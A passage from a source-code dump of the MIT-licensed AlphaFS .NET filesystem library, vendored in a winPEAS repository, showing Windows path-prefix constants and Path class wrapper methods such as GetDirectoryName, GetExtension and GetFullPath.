"\\?\GlobalRoot\Device\" Provides standard Windows Volume prefix. public static readonly string GlobalRootDevicePrefix = string.Format(CultureInfo.InvariantCulture, "{0}{2}{1}{3}{1}", LongPathPrefix, DirectorySeparatorChar, "GlobalRoot", "Device"); /// [AlphaFS] NonInterpretedPathPrefix = "\??\" Provides a non-interpreted path prefix. public static readonly string NonInterpretedPathPrefix = string.Format(CultureInfo.InvariantCulture, "{0}{1}{1}{0}", DirectorySeparatorChar, WildcardQuestion); /// [AlphaFS] VolumePrefix = "\\?\Volume" Provides standard Windows Volume prefix. public static readonly string VolumePrefix = string.Format(CultureInfo.InvariantCulture, "{0}{1}", LongPathPrefix, "Volume"); /// [AlphaFS] DevicePrefix = "\Device\" Provides standard Windows Device prefix. public static readonly string DevicePrefix = string.Format(CultureInfo.InvariantCulture, "{0}{1}{0}", DirectorySeparatorChar, "Device"); /// [AlphaFS] DosDeviceLanmanPrefix = "\Device\LanmanRedirector\" Provides a MS-Dos Lanman Redirector Path UNC prefix to a network share. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Lanman")] [Obsolete("Unused")] public static readonly string DosDeviceLanmanPrefix = string.Format(CultureInfo.InvariantCulture, "{0}{1}{2}", DevicePrefix, "LanmanRedirector", DirectorySeparatorChar); /// [AlphaFS] DosDeviceMupPrefix = "\Device\Mup\" Provides a MS-Dos Mup Redirector Path UNC prefix to a network share. [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Mup")] [Obsolete("Unused")] public static readonly string DosDeviceMupPrefix = string.Format(CultureInfo.InvariantCulture, "{0}{1}{2}", DevicePrefix, "Mup", DirectorySeparatorChar); /// [AlphaFS] UncPrefix = "\\" Provides standard Windows Path UNC prefix. public static readonly string UncPrefix = string.Format(CultureInfo.InvariantCulture, "{0}{0}", DirectorySeparatorChar); /// [AlphaFS] DosDeviceUncPrefix = "\??\UNC\" Provides a SUBST.EXE Path UNC prefix to a network share. public static readonly string DosDeviceUncPrefix = string.Format(CultureInfo.InvariantCulture, "{0}{1}{2}", NonInterpretedPathPrefix, "UNC", DirectorySeparatorChar); /// [AlphaFS] LongPathUncPrefix = "\\?\UNC\" Provides standard Windows Long Path UNC prefix. public static readonly string LongPathUncPrefix = string.Format(CultureInfo.InvariantCulture, "{0}{1}{2}", LongPathPrefix, "UNC", DirectorySeparatorChar); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetDirectoryName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Returns the directory information for the specified path string. /// /// Directory information for , or null if denotes a root directory or is /// null. /// Returns if does not contain directory information. /// /// /// The path of a file or directory. [SecurityCritical] public static string GetDirectoryName(string path) { return GetDirectoryNameCore(path, true); } #endregion // .NET /// [AlphaFS] Returns the directory information for the specified path string. /// /// Directory information for , or null if denotes a root directory or is /// null. Returns if does not contain directory information. /// /// /// The path of a file or directory. /// true will check for invalid path characters. [SecurityCritical] public static string GetDirectoryName(string path, bool checkInvalidPathChars) { return GetDirectoryNameCore(path, checkInvalidPathChars); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetDirectoryNameWithoutRoot.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Returns the directory information for the specified path string without the root information, for example: "C:\Windows\system32" returns: "Windows". /// The without the file name part and without the root information (if any), or null if is null or if denotes a root (such as "\", "C:", or * "\\server\share"). /// The path. [SecurityCritical] public static string GetDirectoryNameWithoutRoot(string path) { return GetDirectoryNameWithoutRootCore(null, path, PathFormat.RelativePath); } /// [AlphaFS] Returns the directory information for the specified path string without the root information, for example: "C:\Windows\system32" returns: "Windows". /// The without the file name part and without the root information (if any), or null if is null or if denotes a root (such as "\", "C:", or * "\\server\share"). /// The path. /// Indicates the format of the path parameter(s). [SecurityCritical] public static string GetDirectoryNameWithoutRoot(string path, PathFormat pathFormat) { return GetDirectoryNameWithoutRootCore(null, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetDirectoryNameWithoutRootTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Returns the directory information for the specified path string without the root information, for example: "C:\Windows\system32" returns: "Windows". /// The without the file name part and without the root information (if any), or null if is null or if denotes a root (such as "\", "C:", or * "\\server\share"). /// The transaction. /// The path. [SecurityCritical] public static string GetDirectoryNameWithoutRootTransacted(KernelTransaction transaction, string path) { return GetDirectoryNameWithoutRootCore(transaction, path, PathFormat.RelativePath); } /// [AlphaFS] Returns the directory information for the specified path string without the root information, for example: "C:\Windows\system32" returns: "Windows". /// The without the file name part and without the root information (if any), or null if is null or if denotes a root (such as "\", "C:", or * "\\server\share"). /// The transaction. /// The path. /// Indicates the format of the path parameter(s). [SecurityCritical] public static string GetDirectoryNameWithoutRootTransacted(KernelTransaction transaction, string path, PathFormat pathFormat) { return GetDirectoryNameWithoutRootCore(transaction, path, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetExtension.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Returns the extension of the specified path string. /// /// The extension of the specified path (including the period "."), or null, or . /// If is null, this method returns null. /// If does not have extension information, /// this method returns . /// /// /// /// The path string from which to get the extension. The path cannot contain any of the characters defined in . [SecurityCritical] public static string GetExtension(string path) { return GetExtensionCore(path, !Utils.IsNullOrWhiteSpace(path)); } #endregion // .NET /// [AlphaFS] Returns the extension of the specified path string. /// /// The extension of the specified path (including the period "."), or null, or . /// If is null, this method returns null. /// If does not have extension information, /// this method returns . /// /// /// The path string from which to get the extension. The path cannot contain any of the characters defined in . /// true will check for invalid path characters. [SecurityCritical] public static string GetExtension(string path, bool checkInvalidPathChars) { return GetExtensionCore(path, checkInvalidPathChars); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetFileName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Returns the file name and extension of the specified path string. /// /// The characters after the last directory character in . If the last character of is a /// directory or volume separator character, this method returns string.Empty. If path is null, this method returns null. /// /// /// The path string from which to obtain the file name and extension. The path cannot contain any of the characters defined in . [SecurityCritical] public static string GetFileName(string path) { return GetFileNameCore(path, true); } #endregion // .NET /// [AlphaFS] Returns the file name and extension of the specified path string. /// /// The characters after the last directory character in . If the last character of is a /// directory or volume separator character, this method returns string.Empty. If path is null, this method returns null. /// /// /// The path string from which to obtain the file name and extension. /// true will check for invalid path characters. [SuppressMessage("Microsoft.Design", "CA1062:Validate arguments of public methods", MessageId = "0", Justification = "Utils.IsNullOrWhiteSpace validates arguments.")] public static string GetFileName(string path, bool checkInvalidPathChars) { return GetFileNameCore(path, checkInvalidPathChars); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetFileNameWithoutExtension.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Returns the file name of the specified path string without the extension. /// The string returned by GetFileName, minus the last period (.) and all characters following it. /// /// The path of the file. The path cannot contain any of the characters defined in . [SecurityCritical] public static string GetFileNameWithoutExtension(string path) { return GetFileNameWithoutExtensionCore(path, true); } #endregion // .NET /// [AlphaFS] Returns the file name of the specified path string without the extension. /// The string returned by GetFileName, minus the last period (.) and all characters following it. /// /// The path of the file. The path cannot contain any of the characters defined in . /// true will check for invalid path characters. [SecurityCritical] public static string GetFileNameWithoutExtension(string path, bool checkInvalidPathChars) { return GetFileNameWithoutExtensionCore(path, checkInvalidPathChars); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetFinalPathNameByHandle.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Retrieves the final path for the specified file, formatted as . /// The final path as a string. /// /// A final path is the path that is returned when a path is fully resolved. For example, for a symbolic link named "C:\tmp\mydir" that /// points to "D:\yourdir", the final path would be "D:\yourdir". /// /// Then handle to a instance. [SecurityCritical] public static string GetFinalPathNameByHandle(SafeFileHandle handle) { return GetFinalPathNameByHandleCore(handle, FinalPathFormats.None); } /// [AlphaFS] Retrieves the final path for the specified file, formatted as . /// The final path as a string. /// /// A final path is the path that is returned when a path is fully resolved. For example, for a symbolic link named "C:\tmp\mydir" that /// points to "D:\yourdir", the final path would be "D:\yourdir". /// /// Then handle to a instance. /// The final path, formatted as [SecurityCritical] public static string GetFinalPathNameByHandle(SafeFileHandle handle, FinalPathFormats finalPath) { return GetFinalPathNameByHandleCore(handle, finalPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetFullPath.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Returns the absolute path for the specified path string. /// The fully qualified location of path, such as "C:\MyFile.txt". /// /// GetFullPathName merges the name of the current drive and directory with a specified file name to determine the full path and file name of a specified file. /// It also calculates the address of the file name portion of the full path and file name. ///   /// This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume. /// The .NET Framework does not support direct access to physical disks through paths that are device names, such as \\.\PhysicalDrive0. ///   /// MSDN: Multithreaded applications and shared library code should not use the GetFullPathName function and /// should avoid using relative path names. The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process, /// therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value. /// This limitation also applies to the SetCurrentDirectory and GetCurrentDirectory functions. The exception being when the application is guaranteed to be running in a single thread, /// for example parsing file names from the command line argument string in the main thread prior to creating any additional threads. /// Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported. /// /// /// /// /// The file or directory for which to obtain absolute path information. [SecurityCritical] public static string GetFullPath(string path) { return GetFullPathCore(null, true, path, GetFullPathOptions.None); } #endregion // .NET /// [AlphaFS] Returns the absolute path for the specified path string. /// The fully qualified location of path, such as "C:\MyFile.txt". /// /// GetFullPathName merges the name of the current drive and directory with a specified file name to determine the full path and file name of a specified file. /// It also calculates the address of the file name portion of the full path and file name. ///   /// This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume. /// The .NET Framework does not support direct access to physical disks through paths that are device names, such as \\.\PhysicalDrive0. ///   /// MSDN: Multithreaded applications and shared library code should not use the GetFullPathName function and /// should avoid using relative path names. The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process, /// therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value. /// This limitation also applies to the SetCurrentDirectory and GetCurrentDirectory functions. The exception being when the application is guaranteed to be running in a single thread, /// for example parsing file names from the command line argument string in the main thread prior to creating any additional threads. /// Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported. /// /// /// /// /// The file or directory for which to obtain absolute path information. /// Options for controlling the full path retrieval. [SecurityCritical] public static string GetFullPath(string path, GetFullPathOptions options) { return GetFullPathCore(null, true, path, options); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetFullPathTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Returns the absolute path for the specified path string. /// The fully qualified location of path, such as "C:\MyFile.txt". /// /// GetFullPathName merges the name of the current drive and directory with a specified file name to determine the full path and file name of a specified file. /// It also calculates the address of the file name portion of the full path and file name. ///   /// This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume. /// The .NET Framework does not support direct access to physical disks through paths that are device names, such as \\.\PhysicalDrive0. ///   /// MSDN: Multithreaded applications and shared library code should not use the GetFullPathName function and /// should avoid using relative path names. The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process, /// therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value. /// This limitation also applies to the SetCurrentDirectory and GetCurrentDirectory functions. The exception being when the application is guaranteed to be running in a single thread, /// for example parsing file names from the command line argument string in the main thread prior to creating any additional threads. /// Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported. /// /// /// /// /// The transaction. /// The file or directory for which to obtain absolute path information. [SecurityCritical] public static string GetFullPathTransacted(KernelTransaction transaction, string path) { return GetFullPathCore(transaction, true, path, GetFullPathOptions.None); } /// [AlphaFS] Returns the absolute path for the specified path string. /// The fully qualified location of path, such as "C:\MyFile.txt". /// /// GetFullPathName merges the name of the current drive and directory with a specified file name to determine the full path and file name of a specified file. /// It also calculates the address of the file name portion of the full path and file name. ///   /// This method does not verify that the resulting path and file name are valid, or that they see an existing file on the associated volume. /// The .NET Framework does not support direct access to physical disks through paths that are device names, such as \\.\PhysicalDrive0. ///   /// MSDN: Multithreaded applications and shared library code should not use the GetFullPathName function and /// should avoid using relative path names. The current directory state written by the SetCurrentDirectory function is stored as a global variable in each process, /// therefore multithreaded applications cannot reliably use this value without possible data corruption from other threads that may also be reading or setting this value. /// This limitation also applies to the SetCurrentDirectory and GetCurrentDirectory functions. The exception being when the application is guaranteed to be running in a single thread, /// for example parsing file names from the command line argument string in the main thread prior to creating any additional threads. /// Using relative path names in multithreaded applications or shared library code can yield unpredictable results and is not supported. /// /// /// /// /// The transaction. /// The file or directory for which to obtain absolute path information. /// Options for controlling the full path retrieval. [SecurityCritical] public static string GetFullPathTransacted(KernelTransaction transaction, string path, GetFullPathOptions options) { return GetFullPathCore(transaction, true, path, options); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetInvalidFileNameChars.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Gets an array containing the characters that are not allowed in file names. /// An array containing the characters that are not allowed in file names. [SecurityCritical] public static char[] GetInvalidFileNameChars() { return System.IO.Path.GetInvalidFileNameChars(); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetInvalidPathChars.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { #region .NET /// Gets an array containing the characters that are not allowed in path names. /// An array containing the characters that are not allowed in path names. [SecurityCritical] public static char[] GetInvalidPathChars() { return System.IO.Path.GetInvalidPathChars(); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetLongFrom83ShortPath.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Converts the specified existing path to its regular long form. /// The regular full path. /// /// /// An existing path to a folder or file. [SecurityCritical] public static string GetLongFrom83ShortPath(string path) { return GetLongShort83PathCore(null, path, false); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetLongFrom83ShortPathTransacted.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Path { /// [AlphaFS] Converts the specified existing path to its regular long form. /// The regular full path. /// /// /// The transaction. /// An existing path to a folder or file. [SecurityCritical] public static string GetLongFrom83ShortPathTransacted(KernelTransaction transaction, string path) { return GetLongShort83PathCore(transaction, path, false); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Path Class/Path.GetLongPath.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the 